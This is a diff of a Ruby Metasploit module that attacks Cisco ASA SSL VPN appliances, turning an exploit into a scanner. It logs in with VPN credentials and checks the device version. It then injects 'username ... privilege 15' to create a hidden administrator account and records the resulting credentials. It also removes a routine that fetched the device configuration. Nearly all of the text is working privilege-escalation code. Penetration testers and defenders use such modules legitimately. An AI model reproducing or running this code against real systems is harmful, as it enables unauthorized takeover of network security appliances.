@@ -51,21 +51,18 @@ def initialize(info = {})
5151
5252 end
5353
54- # Verify whether the connection is working or not
55- def validate_connection
54+ def validate_cisco_ssl_vpn
5655 begin
5756 res = send_request_cgi (
5857 'uri' => '/' ,
5958 'method' => 'GET'
6059 )
6160
62- print_good ( "#{ peer } - Server is responsive" )
61+ print_good "#{ peer } - Server is responsive"
6362 rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
64- fail_with ( Failure :: NoAccess , " #{ peer } - Server is unresponsive" )
63+ return false
6564 end
66- end
6765
68- def validate_cisco_ssl_vpn
6966 res = send_request_cgi (
7067 'uri' => '/+CSCOE+/logon.html' ,
7168 'method' => 'GET'
@@ -84,10 +81,9 @@ def validate_cisco_ssl_vpn
8481 if res &&
8582 res . code == 200 &&
8683 res . body . include? ( 'webvpnlogin' )
87-
88- print_good ( "#{ peer } - Server is Cisco SSL VPN" )
84+ return true
8985 else
90- fail_with ( Failure :: NoAccess , " #{ peer } - Server is not a Cisco SSL VPN" )
86+ return false
9187 end
9288 end
9389
@@ -100,9 +96,7 @@ def do_logout(cookie)
10096
10197 if res &&
10298 res . code == 200
103- print_good ( "#{ peer } - Logged out" )
104- else
105- fail_with ( Failure ::NoAccess , "#{ peer } - Attempted to logout, but failed" )
99+ print_good "#{ peer } - Logged out"
106100 end
107101 end
108102
@@ -132,53 +126,31 @@ def do_show_version(cookie, tries = 3)
132126 resp . body . include? ( 'Cisco Adaptive Security Appliance Software Version' )
133127 return resp . body
134128 else
135- print_good ( "#{ peer } - Unable to run '#{ command } '" )
136- print_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == 2
137- end
138- end
139-
140- return nil
141- end
142-
143- def get_config ( cookie , tries = 10 )
144- # Make up to three attempts because server can be a little flaky
145- tries . times do |i |
146- resp = send_request_cgi (
147- 'uri' => "/admin/config" ,
148- 'method' => 'GET' ,
149- 'cookie' => cookie
150- )
151-
152- if resp &&
153- resp . body . include? ( 'ASA Version' )
154- print_good ( "#{ peer } - Got Config!!!" )
155- return resp . body
156- else
157- print_good ( "#{ peer } - Unable to grab config" )
158- print_good ( "#{ peer } - Retrying #{ i } to grab config (technique 1)" ) unless i == tries - 1
129+ vprint_error "#{ peer } - Unable to run '#{ command } '"
130+ print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
159131 end
160132 end
161133
162134 return nil
163135 end
164136
165- def add_user ( cookie , tries = 10 )
137+ def add_user ( cookie , tries = 3 )
166138 username = random_username ( )
167139 password = random_password ( )
168140
169141 tries . times do |i |
170- print_good ( "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } " )
142+ print_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
171143 command = "username #{ username } password #{ password } privilege 15"
172144 resp = run_command ( command , cookie )
173145
174146 if resp &&
175147 !resp . body . include? ( 'Command authorization failed' ) &&
176148 !resp . body . include? ( 'Command failed' )
177- print_good ( "#{ peer } - Privilege Escalation Appeared Successful" )
149+ print_good "#{ peer } - Privilege Escalation Appeared Successful"
178150 return [ username , password ]
179151 else
180- print_good ( "#{ peer } - Unable to run '#{ command } '" )
181- print_good ( "#{ peer } - Retrying #{ i } '#{ command } '" ) unless i == tries - 1
152+ vprint_error "#{ peer } - Unable to run '#{ command } '"
153+ print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
182154 end
183155 end
184156
@@ -230,29 +202,29 @@ def do_login(user, pass, group)
230202 resp . body . include? ( 'SSL VPN Service' ) &&
231203 resp . body . include? ( 'webvpn_logout' )
232204
233- print_good ( "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } " )
205+ print_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
234206 return resp . get_cookies
235207 else
236- fail_with ( Failure :: NoAccess , " #{ peer } - Failed to authenticate, check username/password/group" )
208+ return false
237209 end
238210
239211 rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
240- fail_with ( Failure :: NoAccess , " #{ peer } - HTTP Connection Failed, Aborting" )
212+ return false
241213 end
242214 end
243215
244- def exploit
245- # Validate we have a valid connection
246- validate_connection ( )
247-
216+ def run_host ( ip )
248217 # Validate we're dealing with Cisco SSL VPN
249- validate_cisco_ssl_vpn ( )
218+ unless validate_cisco_ssl_vpn ( )
219+ vprint_error "#{ peer } - Does not appear to be Cisco SSL VPN"
220+ :abort
221+ end
250222
251223 # This is crude, but I've found this to be somewhat
252224 # interimittent based on session, so we'll just retry
253225 # 'X' times.
254226 datastore [ 'RETRIES' ] . times do |i |
255- print_good ( "#{ peer } - Exploit Attempt ##{ i } " )
227+ print_good "#{ peer } - Exploit Attempt ##{ i } "
256228
257229 # Authenticate to SSL VPN and get session cookie
258230 cookie = do_login (
@@ -261,24 +233,30 @@ def exploit
261233 datastore [ 'GROUP' ]
262234 )
263235
236+ # See if our authentication attempt failed
237+ unless cookie
238+ vprint_error "#{ peer } - Failed to login to Cisco SSL VPN"
239+ next
240+ end
241+
264242 # Grab version
265- version = do_show_version ( cookie , 1 )
243+ version = do_show_version ( cookie )
266244
267- if version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
268- print_good ( "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } " )
245+ if version &&
246+ version_match = version . match ( /Cisco Adaptive Security Appliance Software Version ([\d +\. \( \) ]+)/ )
247+ print_good "#{ peer } - Show version succeeded. Version is Cisco ASA #{ version_match [ 1 ] } "
269248 else
270249 do_logout ( cookie )
271- print_good ( "#{ peer } - Show version failed" )
250+ vprint_error "#{ peer } - Show version failed"
272251 next
273252 end
274253
275254 # Attempt to add an admin user
276- creds = add_user ( cookie , 1 )
277-
255+ creds = add_user ( cookie )
278256 do_logout ( cookie )
279257
280258 if creds
281- print_good ( "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } " )
259+ print_good "#{ peer } - Successfully added level 15 account #{ creds . join ( ", " ) } "
282260
283261 user , pass = creds
284262
@@ -294,7 +272,7 @@ def exploit
294272
295273 report_auth_info ( report_hash )
296274 else
297- print_good ( "#{ peer } - Failed to created user account" )
275+ vprint_error "#{ peer } - Failed to created user account on Cisco SSL VPN"
298276 end
299277 end
300278 end
0 commit comments